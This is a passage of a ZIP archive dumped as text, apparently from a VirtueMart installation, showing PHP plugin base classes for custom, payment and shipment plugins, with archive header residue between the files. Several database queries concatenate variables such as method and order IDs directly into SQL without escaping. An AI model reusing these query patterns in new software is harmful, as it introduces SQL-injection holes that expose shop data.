$lang->load('plg_vmextended_'.$this->getName(),JPATH_ADMINISTRATOR); } /** * Plugs into the backend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmAdminController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug_admin.php'); return true; }*/ /** * Plugs into the frontend controller logic to insert a custom controller into the VM component space * This means that links can be constructed as index.php?option=com_virtuemart&view=myaddon and work * * @param string $controller Name of controller requested * @return True if this loads a file (null otherwise) */ public function onVmSiteController ($controller) { return null; } /* example: if ($controller = 'myplug') { require_once($this->_path.DS.'controllers'.DS.'myplug.php'); return true; }*/ /** * Plugs into the updater model to remove additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRemove (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'uninstall_required_data.sql'; $updater->execSQLFile($filename);*/ /** * Plugs into the updater model to reinstall additional VM data (useful if the plugin depends on fields in a VM table) * * @param object $updater VirtueMartModelUpdatesMigration object */ public function onVmSqlRestore (&$updater) { return null; } /* example: $filename = $this->_path.DS.'install'.DS.'install_required_data.sql'; $updater->execSQLFile($filename);*/ }PKs>\{9FF)com_virtuemart/plugins/vmcouponplugin.phpnuW+A_tablename = '#__virtuemart_coupon_' . $this->_name; } }PKs>\!com_virtuemart/plugins/index.htmlnuW+APKs>\Y(()com_virtuemart/plugins/vmcustomplugin.phpnuW+A name */ protected $customs; function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_tablepkey = 'virtuemart_product_id'; $this->_tablename = '#__virtuemart_product_' . $this->_psType . '_plg_' . $this->_name; $this->_idName = 'virtuemart_custom_id'; $this->_configTableFileName = $this->_psType . 's'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 's'; //TablePaymentmethods $this->_configTable = '#__virtuemart_customs'; } function onDisplayEditBECustom ($virtuemart_custom_id, &$customPlugin) { //if($this->plugin = $this->selectedThisByMethodId($this->_psType,$virtuemart_custom_id)){ if ($this->plugin = $this->selectedThisByMethodId ($virtuemart_custom_id)) { if (empty($this->plugin)) { $this->plugin->custom_jplugin_id = NULL; return $this->plugin; } //Must use here the table to get valid params $this->plugin = $this->getVmPluginMethod ($this->plugin->virtuemart_custom_id); if (empty($this->plugin->virtuemart_vendor_id)) { if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $this->plugin->virtuemart_vendor_id = VirtueMartModelVendor::getLoggedVendor (); } $customPlugin = $this->plugin; // return $this->plugin; return TRUE; } } /* * helper to parse plugin parameters as object * */ public function parseCustomParams (&$field, $xParams = 'custom_params') { VmTable::bindParameterable ($field, $xParams, $this->_varsToPushParam); if (empty($field->custom_element)) { return 0; } if (!empty($field->custom_param) && is_string ($field->custom_param)) { $custom_param = json_decode ($field->custom_param, TRUE); } else { return; } //$field->custom_param = $custom_param; foreach ($custom_param as $k => $v) { if (!empty($v)) { $field->$k = $v; } } } /* * helper to get plugin parameters as object * All params are added to $this->params plugin */ public function getCustomParams (&$field) { VmTable::bindParameterable ($field, 'custom_params', $this->_varsToPushParam); //Why do we have this? if (empty($field->custom_element)) { return 0; } //Why do we have this, when bindParameterable could already doing it //And why we do it here, when we do it later again? foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } // vmdebug('fields org '.$this->_name,$this->params); } $this->virtuemart_custom_id = $field->virtuemart_custom_id; if (!empty($field->custom_param) && is_string ($field->custom_param)) { $this->params = json_decode ($field->custom_param); } else { return; } //$field->custom_param = $custom_param; //vmdebug('$this->_varsToPushParam '.$this->_name,$this->_varsToPushParam ); foreach ($this->_varsToPushParam as $k => $v) { if (!isset($this->params->$k)) { $this->params->$k = $field->$k; } } } /** * Helper to add all params of specific product of this custom to an object * * @param object $field * @param int $product_id */ protected function getPluginProductDataCustom (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { //$fields = get_object_vars($datas); // vmdebug('datas',$datas); foreach ($datas as $k=> $v) { if (!is_string ($v)) { continue; } // Only get real Table variable if (isset($field->$k) && $v === 0) { continue; } $field->$k = $v; } } } /** * helper to get plugin table as object * All params are added to $this->params plugin * * @param unknown_type $field * @param unknown_type $product_id */ protected function getPluginCustomData (&$field, $product_id) { $id = $this->getIdForCustomIdProduct ($product_id, $field->virtuemart_custom_id); $datas = $this->getPluginInternalData ($id); if ($datas) { foreach ($this->_varsToPushParam as $k => $v) { if (!isset($datas->$k)) { continue; } if (isset($this->params->$k) && $datas->$k == 0) { continue; } $this->params->$k = $datas->$k; } } } /** * This is the actions which take place, when a product gets stored * * @param string $type atm valid 'product' * @param array $data form data * @param int $id virtuemart_product_id */ function OnStoreProduct ($data, $plugin_param) { if (key ($plugin_param) !== $this->_name) { vmdebug('OnStoreProduct return because key '.key ($plugin_param).'!== '. $this->_name); return; } $key = key ($plugin_param); $plugin_param[$key]['virtuemart_product_id'] = $data['virtuemart_product_id']; //vmdebug ('plgData', $plugin_param[$key]); // $this->id = $this->getIdForCustomIdProduct($data['virtuemart_product_id'],$plugin_param[$key]['virtuemart_custom_id']); $this->storePluginInternalDataProduct ($plugin_param[$key], 'id', $data['virtuemart_product_id']); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalDataProduct (&$values, $primaryKey = 0, $product_id = 0) { $custom_id = $values['virtuemart_custom_id']; $db = JFactory::getDBO (); if (!empty($custom_id) && !empty($product_id)) { $_qry = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($_qry); $id = $db->loadResult (); } $values['id'] = $id ? $id : 0; // vmdebug('$value',$values, $id); $this->storePluginInternalData ($values); return $values; } /** * Calculate the variant price by The plugin * override calculateModificators() in calculatorh. * Eg. recalculate price by a quantity set in the plugin * You must reimplement modifyPrice() in your plugin * or price is returned defaut custom_price */ // public function plgVmCalculatePluginVariant( $product, $field,$selected,$row){ public function getCustomVariant ($product, &$productCustomsPrice, $selected) { if ($productCustomsPrice->custom_element !== $this->_name) { return FALSE; } vmPlugin::declarePluginParams ('custom', $productCustomsPrice->custom_element, $productCustomsPrice->custom_jplugin_id, $productCustomsPrice); // VmTable::bindParameterable($productCustomsPrice,'custom_params',$this->_varsToPushParam); $pluginFields = JRequest::getVar ('customPlugin', NULL); if ($pluginFields == NULL and isset($product->customPlugin)) { $pluginFields = json_decode ($product->customPlugin, TRUE); } return $pluginFields[$productCustomsPrice->virtuemart_customfield_id][$this->_name]; } /** * convert param for render and * display The plugin in cart * return null if not $this->_name */ public function GetPluginInCart ($product) { //$plgName = $productCustom->value; if (!empty($product->param)) { if (!is_array ($product->param)) { return FALSE; } $param = array(); // vmdebug('$product->param',$product->param); foreach ($product->param as $k => $plg) { if (is_array ($plg) and key ($plg) == $this->_name) { $param[$k] = $plg[$this->_name]; } } if ($param) { return $param; } } return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function selectSearchableCustom (&$selectList) { return NULL; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ /* public function plgVmAddToSearch (&$where, $searchplugin) { }*/ /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function GetNameByCustomId ($custom_id) { static $custom_element; if (isset($custom_element)) { return $custom_element; } $db = JFactory::getDBO (); $q = 'SELECT `custom_element` FROM `#__virtuemart_customs` WHERE `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); $custom_element = $db->loadResult (); return $custom_element; } /** * render the plugin with param to display on product edit * called by customfields inputTypePlugin * */ public function getIdForCustomIdProduct ($product_id, $custom_id) { $db = JFactory::getDBO (); $q = 'SELECT `id` FROM `#__virtuemart_product_custom_plg_' . $this->_name . '` WHERE `virtuemart_product_id`=' . (int)$product_id . ' and `virtuemart_custom_id`=' . (int)$custom_id; $db->setQuery ($q); return $db->loadResult (); } } PKs>\) com_virtuemart/plugins/.htaccessnuW+A Order allow,deny Deny from all PKs>\^xJxJ#com_virtuemart/plugins/vmplugin.phpnuW+A_name = basename(__FILE, '.php'); // just as note: protected can be accessed only within the class itself and by inherited and parent classes //This is normal name of the plugin family, custom, payment protected $_psType = 0; //Id of the joomla table where the plugins are registered protected $_jid = 0; protected $_vmpItable = 0; //the name of the table to store plugin internal data, like payment logs protected $_tablename = 0; protected $_tableId = 'id'; //Name of the primary key of this table, for exampel virtuemart_calc_id or virtuemart_order_id protected $_tablepkey = 0; protected $_vmpCtable = 0; //the name of the table which holds the configuration like paymentmethods, shipmentmethods, customs protected $_configTable = 0; protected $_configTableFileName = 0; protected $_configTableClassName = 0; protected $_xParams = 0; protected $_varsToPushParam = array(); //id field of the config table protected $_idName = 0; //Name of the field in the configtable, which holds the parameters of the pluginmethod protected $_configTableFieldName = 0; protected $_debug = FALSE; protected $_loggable = FALSE; protected $_cryptedFields = false; /** * Constructor * * @param object $subject The object to observe * @param array $config An array that holds the plugin configuration * @since 1.5 */ function __construct (& $subject, $config) { parent::__construct ($subject, $config); $this->_psType = substr ($this->_type, 2); $filename = 'plg_' . $this->_type . '_' . $this->_name; $this->loadJLang($filename); if (!class_exists ('JParameter')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'html' . DS . 'parameter.php'); } $this->_tablename = '#__virtuemart_' . $this->_psType . '_plg_' . $this->_name; $this->_tableChecked = FALSE; } public function loadJLang($fname,$type=0,$name=0){ $jlang =JFactory::getLanguage(); $tag = $jlang->getTag(); if(empty($type)) $type = $this->_type; if(empty($name)) $name = $this->_name; $path = $basePath = JPATH_PLUGINS.DS.$type.DS.$name; if(VmConfig::get('enableEnglish', true) and $tag!='en-GB'){ $testpath = $basePath.DS.'language'.DS.'en-GB'.DS.'en-GB.'.$fname.'.ini'; if(!file_exists($testpath)){ $epath = JPATH_ADMINISTRATOR; } else { $epath = $path; } $jlang->load($fname, $epath, 'en-GB'); } $testpath = $basePath.DS.'language'.DS.$tag.DS.$tag.'.'.$fname.'.ini'; if(!file_exists($testpath)){ $path = JPATH_ADMINISTRATOR; } $jlang->load($fname, $path,$tag,true); } function setPluginLoggable($set=TRUE){ $this->_loggable = $set; } function setCryptedFields($fieldNames){ $this->_cryptedFields = $fieldNames; } /** * @return array */ function getTableSQLFields () { return array(); } function getOwnUrl(){ if(JVM_VERSION!=1){ $url = '/plugins/'.$this->_type.'/'.$this->_name; } else{ $url = '/plugins/'.$this->_type; } return $url; } function display3rdInfo($intro,$developer,$contactlink,$manlink){ $logolink = $this->getOwnUrl() ; return shopfunctions::display3rdInfo($this->_name,$intro,$developer,$logolink,$contactlink,$manlink); } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @param string $psType shipment,payment,custom * @param string the name of the plugin for example textinput, paypal * @param int/array $jid the registered plugin id(s) of the joomla table */ protected function selectedThis ($psType, $name = 0, $jid = 0) { if ($psType !== 0) { if ($psType != $this->_psType) { vmdebug ('selectedThis $psType does not fit'); return FALSE; } } if ($name !== 0) { if ($name != $this->_name) { vmdebug ('selectedThis $name ' . $name . ' does not fit pluginname ' . $this->_name); return FALSE; } } if ($jid === 0) { return FALSE; } else { if ($this->_jid === 0) { $this->getJoomlaPluginId (); } if (is_array ($jid)) { if (!in_array ($this->_jid, $jid)) { vmdebug ('selectedThis id ' . $jid . ' not in array does not fit ' . $this->_jid); return FALSE; } } else { if ($jid != $this->_jid) { vmdebug ('selectedThis $jid ' . $jid . ' does not fit ' . $this->_jid); return FALSE; } } } return TRUE; } /** * Checks if this plugin should be active by the trigger * * We should avoid this function, is expensive * * @author Max Milbers * @author Valérie Isaksen * * @param int/array $id the registered plugin id(s) of the joomla table */ function selectedThisByMethodId ($id = 'type') { //if($psType!=$this->_psType) return false; if ($id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.element = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_idName . '` = "' . $id . '" AND vm.' . $this->_psType . '_jplugin_id = j.extension_id AND j.element = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Checks if this plugin should be active by the trigger * * @author Max Milbers * @author Valérie Isaksen * @param int/array $jplugin_id the registered plugin id(s) of the joomla table */ protected function selectedThisByJPluginId ($jplugin_id = 'type') { if ($jplugin_id === 'type') { return TRUE; } else { $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__plugins AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.' . $this->_psType . '_jplugin_id = j.id AND j.`element` = "' . $this->_name . '"'; } else { $q = 'SELECT vm.* FROM `' . $this->_configTable . '` AS vm, #__extensions AS j WHERE vm.`' . $this->_psType . '_jplugin_id` = "' . $jplugin_id . '" AND vm.`' . $this->_psType . '_jplugin_id` = j.extension_id AND j.`element` = "' . $this->_name . '"'; } $db->setQuery ($q); if (!$res = $db->loadObject ()) { // vmError('selectedThisByMethodId '.$db->getQuery()); return FALSE; } else { return $res; } } } /** * Gets the id of the joomla table where the plugin is registered * * @author Max Milbers */ final protected function getJoomlaPluginId () { if (!empty($this->_jid)) { return $this->_jid; } $db = JFactory::getDBO (); if (JVM_VERSION === 1) { $q = 'SELECT j.`id` AS c FROM #__plugins AS j WHERE j.element = "' . $this->_name . '" AND j.folder = "' . $this->_type . '"'; } else { $q = 'SELECT j.`extension_id` AS c FROM #__extensions AS j WHERE j.element = "' . $this->_name . '" AND j.`folder` = "' . $this->_type . '"'; } $db->setQuery ($q); $this->_jid = $db->loadResult (); if (!$this->_jid) { vmError ('getJoomlaPluginId ' . $db->getErrorMsg ()); return FALSE; } else { return $this->_jid; } } /** * Create the table for this plugin if it does not yet exist. * * @param string $psType shipment,payment,custom * @author Valérie Isaksen * @author Max Milbers */ protected function onStoreInstallPluginTable ($psType,$name=FALSE) { if(!empty($name) and $name!=$this->_name){ return false; } //Todo the psType should be name of the plugin. if ($psType == $this->_psType) { $query = $this->getVmPluginCreateTableSQL (); if(empty($query)){ return false; } else { //if ($query !== 0) { // vmdebug('onStoreInstallPluginTable '.$query); $db = JFactory::getDBO (); $db->setQuery ($query); if (!$db->query ()) { JError::raiseWarning (1, $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE)); echo $this->_name . '::onStoreInstallPluginTable: ' . JText::_ ('COM_VIRTUEMART_SQL_ERROR') . ' ' . $db->stderr (TRUE); } else { return true; } } } return false; } /** * adds loggable fields to the table * * @return array */ function getTableSQLLoggablefields () { return array( 'created_on' => 'datetime NOT NULL default \'0000-00-00 00:00:00\'', 'created_by' => "int(11) NOT NULL DEFAULT '0'", 'modified_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'modified_by' => "int(11) NOT NULL DEFAULT '0'", 'locked_on' => 'datetime NOT NULL DEFAULT \'0000-00-00 00:00:00\'', 'locked_by' => 'int(11) NOT NULL DEFAULT \'0\'' ); } /** * @param $tableComment * @return string */ protected function createTableSQL ($tableComment,$tablesFields=0) { $query = "CREATE TABLE IF NOT EXISTS `" . $this->_tablename . "` ("; if(!empty($tablesFields)){ foreach ($tablesFields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } } else { $SQLfields = $this->getTableSQLFields (); $loggablefields = $this->getTableSQLLoggablefields (); foreach ($SQLfields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . " , "; } foreach ($loggablefields as $fieldname => $fieldtype) { $query .= '`' . $fieldname . '` ' . $fieldtype . ", "; } } $query .= " PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8 COMMENT='" . $tableComment . "' AUTO_INCREMENT=1 ;"; return $query; } /** * Set with this function the provided plugin parameters * * @param string $paramsFieldName * @param array $varsToPushParam */ function setConfigParameterable ($paramsFieldName, $varsToPushParam) { $this->_varsToPushParam = $varsToPushParam; $this->_xParams = $paramsFieldName; } /** * @param $name * @param $id * @param $table * @return bool */ protected function setOnTablePluginParams ($name, $id, &$table) { //Todo I think a test on this is wrong here //Adjusted it like already done in declarePluginParams if (!empty($this->_psType) and !$this->selectedThis ($this->_psType, $name, $id)) { return FALSE; } else { if($this->_cryptedFields){ $table->setCryptedFields($this->_cryptedFields); } $table->setParameterable ($this->_xParams, $this->_varsToPushParam); return TRUE; } } /** * @param $psType * @param $name * @param $id * @param $data * @return bool */ protected function declarePluginParams ($psType, $name, $id, &$data) { //vmdebug('declarePluginParams '.$this->_psType.' '.$psType); //Todo I know a test only on seledtThis is wrong here, it works now with extra !empty($this->_psType) if(!empty($this->_psType) and !$this->selectedThis($psType,$name,$id)){ return FALSE; } if (!class_exists ('VmTable')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtable.php'); } VmTable::bindParameterable ($data, $this->_xParams, $this->_varsToPushParam); if($this->_cryptedFields){ $data->setCryptedFields($this->_cryptedFields); } return TRUE; // vmdebug('getDeclaredPluginParams return '.$this->_xParams); // return array($this->_xParams,$this->_varsToPushParam); // } else { // return false; // } } /** * @param $int * @return mixed */ protected function getVmPluginMethod ($int, $cache = true) { if ($this->_vmpCtable === 0 || !$cache) { $db = JFactory::getDBO (); if (!class_exists ($this->_configTableClassName)) { require(JPATH_VM_ADMINISTRATOR . DS . 'tables' . DS . $this->_configTableFileName . '.php'); } $this->_vmpCtable = new $this->_configTableClassName($db); if ($this->_xParams !== 0) { $this->_vmpCtable->setParameterable ($this->_xParams, $this->_varsToPushParam); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } // $this->_vmpCtable = $this->createPluginTableObject($this->_tablename,$this->tableFields,$this->_loggable); } return $this->_vmpCtable->load ($int); } /** * This stores the data of the plugin, attention NOT the configuration of the pluginmethod, * this function should never be triggered only called from triggered functions. * * @author Max Milbers * @param array $values array or object with the data to store * @param string $tableName When different then the default of the plugin, provid it here * @param string $tableKey an additionally unique key */ protected function storePluginInternalData (&$values, $primaryKey = 0, $id = 0, $preload = FALSE) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0 or $id==0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } $this->_vmpItable->bindChecknStore ($values, $preload); //vmdebug('storePluginInternalData',$values,$this->_vmpItable); $errors = $this->_vmpItable->getErrors (); if (!empty($errors)) { foreach ($errors as $error) { vmError ($error); } } return $values; } /** * This loads the data stored by the plugin before, NOT the configuration of the method, * this function should never be triggered only called from triggered functions. * * @param int $id * @param string $primaryKey */ protected function getPluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } // vmdebug('getPluginInternalData $id '.$id.' and $primaryKey '.$primaryKey); return $this->_vmpItable->load ($id); } /** * @param $tableName * @param $tableFields * @param $primaryKey * @param $tableId * @param bool $loggable * @return VmTableData */ protected function createPluginTableObject ($tableName, $tableFields, $primaryKey, $tableId, $loggable = FALSE) { if (!class_exists ('VmTableData')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'vmtabledata.php'); } $db = JFactory::getDBO (); $table = new VmTableData($tableName, $tableId, $db); foreach ($tableFields as $field) { $table->$field = 0; } if ($primaryKey !== 0) { $table->setPrimaryKey ($primaryKey); } if ($loggable) { $table->setLoggable (); } if($this->_cryptedFields){ $this->_vmpCtable->setCryptedFields($this->_cryptedFields); } if (!$this->_tableChecked) { $this->onStoreInstallPluginTable ($this->_psType); $this->_tableChecked = TRUE; } return $table; } /** * @param $id * @param int $primaryKey * @return mixed */ protected function removePluginInternalData ($id, $primaryKey = 0) { if ($primaryKey === 0) { $primaryKey = $this->_tablepkey; } if ($this->_vmpItable === 0) { $this->_vmpItable = $this->createPluginTableObject ($this->_tablename, $this->tableFields, $primaryKey, $this->_tableId, $this->_loggable); } vmdebug ('removePluginInternalData $id ' . $id . ' and $primaryKey ' . $primaryKey); return $this->_vmpItable->delete ($id); } /** * Get the path to a layout for a type * * @param string $type The name of the type * @param string $layout The name of the type layout. If alternative * layout, in the form template:filename. * @param array $viewData The data you want to use in the layout * can be an object/array/string... to reuse in the template * @return string The path to the type layout * original from libraries\joomla\application\module\helper.php * @since 11.1 * @author Patrick Kohl, Valérie Isaksen */ public function renderByLayout ($layout = 'default', $viewData = NULL, $name = NULL, $psType = NULL) { if ($name === NULL) { $name = $this->_name; } if ($psType === NULL) { $psType = $this->_psType; } $layout = vmPlugin::_getLayoutPath ($name, 'vm' . $psType, $layout); ob_start (); include ($layout); return ob_get_clean (); } /** * Note: We have 2 subfolders for versions > J15 for 3rd parties developers, to avoid 2 installers * * @author Patrick Kohl, Valérie Isaksen */ private function _getLayoutPath ($pluginName, $group, $layout = 'default') { $app = JFactory::getApplication (); // get the template and default paths for the layout if (JVM_VERSION === 2) { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } else { $templatePath = JPATH_SITE . DS . 'templates' . DS . $app->getTemplate () . DS . 'html' . DS . $group . DS . $pluginName . DS . $layout . '.php'; $defaultPath = JPATH_SITE . DS . 'plugins' . DS . $group . DS . $pluginName . DS . 'tmpl' . DS . $layout . '.php'; } // if the site template has a layout override, use it jimport ('joomla.filesystem.file'); if (JFile::exists ($templatePath)) { return $templatePath; } else { return $defaultPath; } } } PKs>\oixx%com_virtuemart/plugins/vmpsplugin.phpnuW+A_tablepkey = 'id'; //virtuemart_order_id'; $this->_idName = 'virtuemart_' . $this->_psType . 'method_id'; $this->_configTable = '#__virtuemart_' . $this->_psType . 'methods'; $this->_configTableFieldName = $this->_psType . '_params'; $this->_configTableFileName = $this->_psType . 'methods'; $this->_configTableClassName = 'Table' . ucfirst ($this->_psType) . 'methods'; //TablePaymentmethods // $this->_configTableIdName = $this->_psType.'_jplugin_id'; $this->_loggable = TRUE; $this->_tableChecked = TRUE; } public function getVarsToPush () { $black_list = array('spacer'); $data = array(); if (JVM_VERSION === 2) { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '/' . $this->_name . '.xml'; } else { $filename = JPATH_SITE . '/plugins/' . $this->_type . '/' . $this->_name . '.xml'; } // Check of the xml file exists $filePath = JPath::clean ($filename); if (is_file ($filePath)) { $xml = JFactory::getXMLParser ('simple'); $result = $xml->loadFile ($filename); if ($result) { if ($params = $xml->document->params) { foreach ($params as $param) { if ($param->_name = "params") { if ($children = $param->_children) { foreach ($children as $child) { if (isset($child->_attributes['name'])) { $data[$child->_attributes['name']] = array('', 'char'); $result = TRUE; } } } } } } } } return $data; } /** * check if it is the correct type * * @param string $psType either payment or shipment * @return boolean */ public function selectedThisType ($psType) { if ($this->_psType <> $psType) { return FALSE; } else { return TRUE; } } /** * Create the table for this plugin if it does not yet exist. * This functions checks if the called plugin is active one. * When yes it is calling the standard method to create the tables * * @author Valérie Isaksen * */ protected function onStoreInstallPluginTable ($jplugin_id, $name = FALSE) { if ($res = $this->selectedThisByJPluginId ($jplugin_id)) { parent::onStoreInstallPluginTable ($this->_psType); } return $res; } /** * This event is fired after the payment method has been selected. It can be used to store * additional payment info in the cart. * * @author Max Milbers * @author Valérie isaksen * * @param VirtueMartCart $cart: the actual cart * @return null if the payment was not selected, true if the data is valid, error message if the data is not vlaid * */ public function onSelectCheck (VirtueMartCart $cart) { $idName = $this->_idName; //vmdebug('OnSelectCheck',$idName); if (!$this->selectedThisByMethodId ($cart->$idName)) { return NULL; // Another method was selected, do nothing } return TRUE; // this method was selected , and the data is valid by default } /** * displayListFE * This event is fired to display the pluginmethods in the cart (edit shipment/payment) for example * * @param object $cart Cart object * @param integer $selected ID of the method selected * @return boolean True on success, false on failures, null when this plugin was not selected. * On errors, JError::raiseWarning (or JError::raiseError) must be used to set a message. * * @author Valerie Isaksen * @author Max Milbers */ public function displayListFE (VirtueMartCart $cart, $selected = 0, &$htmlIn) { if ($this->getPluginMethods ($cart->vendorId) === 0) { if (empty($this->_name)) { vmAdminInfo ('displayListFE cartVendorId=' . $cart->vendorId); $app = JFactory::getApplication (); $app->enqueueMessage (JText::_ ('COM_VIRTUEMART_CART_NO_' . strtoupper ($this->_psType))); return FALSE; } else { return FALSE; } } $html = array(); $method_name = $this->_psType . '_name'; foreach ($this->methods as $method) { if ($this->checkConditions ($cart, $method, $cart->pricesUnformatted)) { //$methodSalesPrice = $this->calculateSalesPrice ($cart, $method, $cart->pricesUnformatted); /* Because of OPC: the price must not be overwritten directly in the cart */ $pricesUnformatted= $cart->pricesUnformatted; $methodSalesPrice = $this->setCartPrices ($cart, $pricesUnformatted,$method); $method->$method_name = $this->renderPluginName ($method); $html [] = $this->getPluginHtml ($method, $selected, $methodSalesPrice); } } if (!empty($html)) { $htmlIn[] = $html; return TRUE; } return FALSE; } /* * onSelectedCalculatePrice * Calculate the price (value, tax_id) of the selected method * It is called by the calculator * This function does NOT to be reimplemented. If not reimplemented, then the default values from this function are taken. * @author Valerie Isaksen * @cart: VirtueMartCart the current cart * @cart_prices: array the new cart prices * @return null if the method was not selected, false if the shipping rate is not valid any more, true otherwise * */ public function onSelectedCalculatePrice (VirtueMartCart $cart, array &$cart_prices, &$cart_prices_name) { $id = $this->_idName; //vmTime('onSelectedCalculatePrice before test '.$cart->$id,'prepareCartData'); if (!($method = $this->selectedThisByMethodId ($cart->$id))) { return NULL; // Another method was selected, do nothing } if (!($method = $this->getVmPluginMethod ($cart->$id))) { return NULL; } $cart_prices_name = ''; $cart_prices['cost'] = 0; if (!$this->checkConditions ($cart, $method, $cart_prices)) { return FALSE; } $cart_prices_name = $this->renderPluginName ($method); $this->setCartPrices ($cart, $cart_prices, $method); return TRUE; } /** * onCheckAutomaticSelected * Checks how many plugins are available. If only one, the user will not have the choice. Enter edit_xxx page * The plugin must check first if it is the correct type * * @author Valerie Isaksen * @param VirtueMartCart cart: the cart object * @return null if no plugin was found, 0 if more then one plugin was found, virtuemart_xxx_id if only one plugin is found * */ function onCheckAutomaticSelected (VirtueMartCart $cart, array $cart_prices = array(), &$methodCounter = 0) { $virtuemart_pluginmethod_id = 0; $nbMethod = $this->getSelectable ($cart, $virtuemart_pluginmethod_id, $cart_prices); $methodCounter += $nbMethod; if ($nbMethod == NULL) { return NULL; } else { if ($nbMethod == 1) { return $virtuemart_pluginmethod_id; } else { return 0; } } } /** * This method is fired when showing the order details in the frontend. * It displays the method-specific data. * * @param integer $order_id The order ID * @return mixed Null for methods that aren't active, text (HTML) otherwise * @author Max Milbers * @author Valerie Isaksen */ protected function onShowOrderFE ($virtuemart_order_id, $virtuemart_method_id, &$method_info) { if (!($this->selectedThisByMethodId ($virtuemart_method_id))) { return NULL; } $method_info = $this->getOrderMethodNamebyOrderId ($virtuemart_order_id); } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderMethodNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); $err =$db->getErrorMsg (); if (!($pluginInfo = $db->loadObject ())) { vmdebug ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id); if(!empty($err)){ vmWarn ('Attention, ' . $this->_tablename . ' has not any entry for order_id = '.$virtuemart_order_id. ' err = '.$err); } return NULL; } $idName = $this->_psType . '_name'; return $pluginInfo->$idName; } /** * * @author Valerie Isaksen * @author Max Milbers * @param int $virtuemart_order_id * @return string pluginName from the plugin table */ private function getOrderPluginNamebyOrderId ($virtuemart_order_id) { $db = JFactory::getDBO (); $q = 'SELECT * FROM `' . $this->_tablename . '` ' . 'WHERE `virtuemart_order_id` = ' . $virtuemart_order_id; $db->setQuery ($q); if (!($pluginInfo = $db->loadObject ())) { vmWarn (500, $q . " getOrderPluginNamebyOrderId " . $db->getErrorMsg ()); return NULL; } $idName = $this->_idName; return $pluginInfo->$idName; } /** * check if it is the correct element * * @param string $element either standard or paypal * @return boolean */ public function selectedThisElement ($element) { if ($this->_name <> $element) { return FALSE; } else { return TRUE; } } /** * This method is fired when showing the order details in the backend. * It displays the the payment method-specific data. * All plugins *must* reimplement this method. * * @param integer $_virtuemart_order_id The order ID * @param integer $_paymethod_id Payment method used for this order * @return mixed Null when for payment methods that were not selected, text (HTML) otherwise * @author Max Milbers * @author 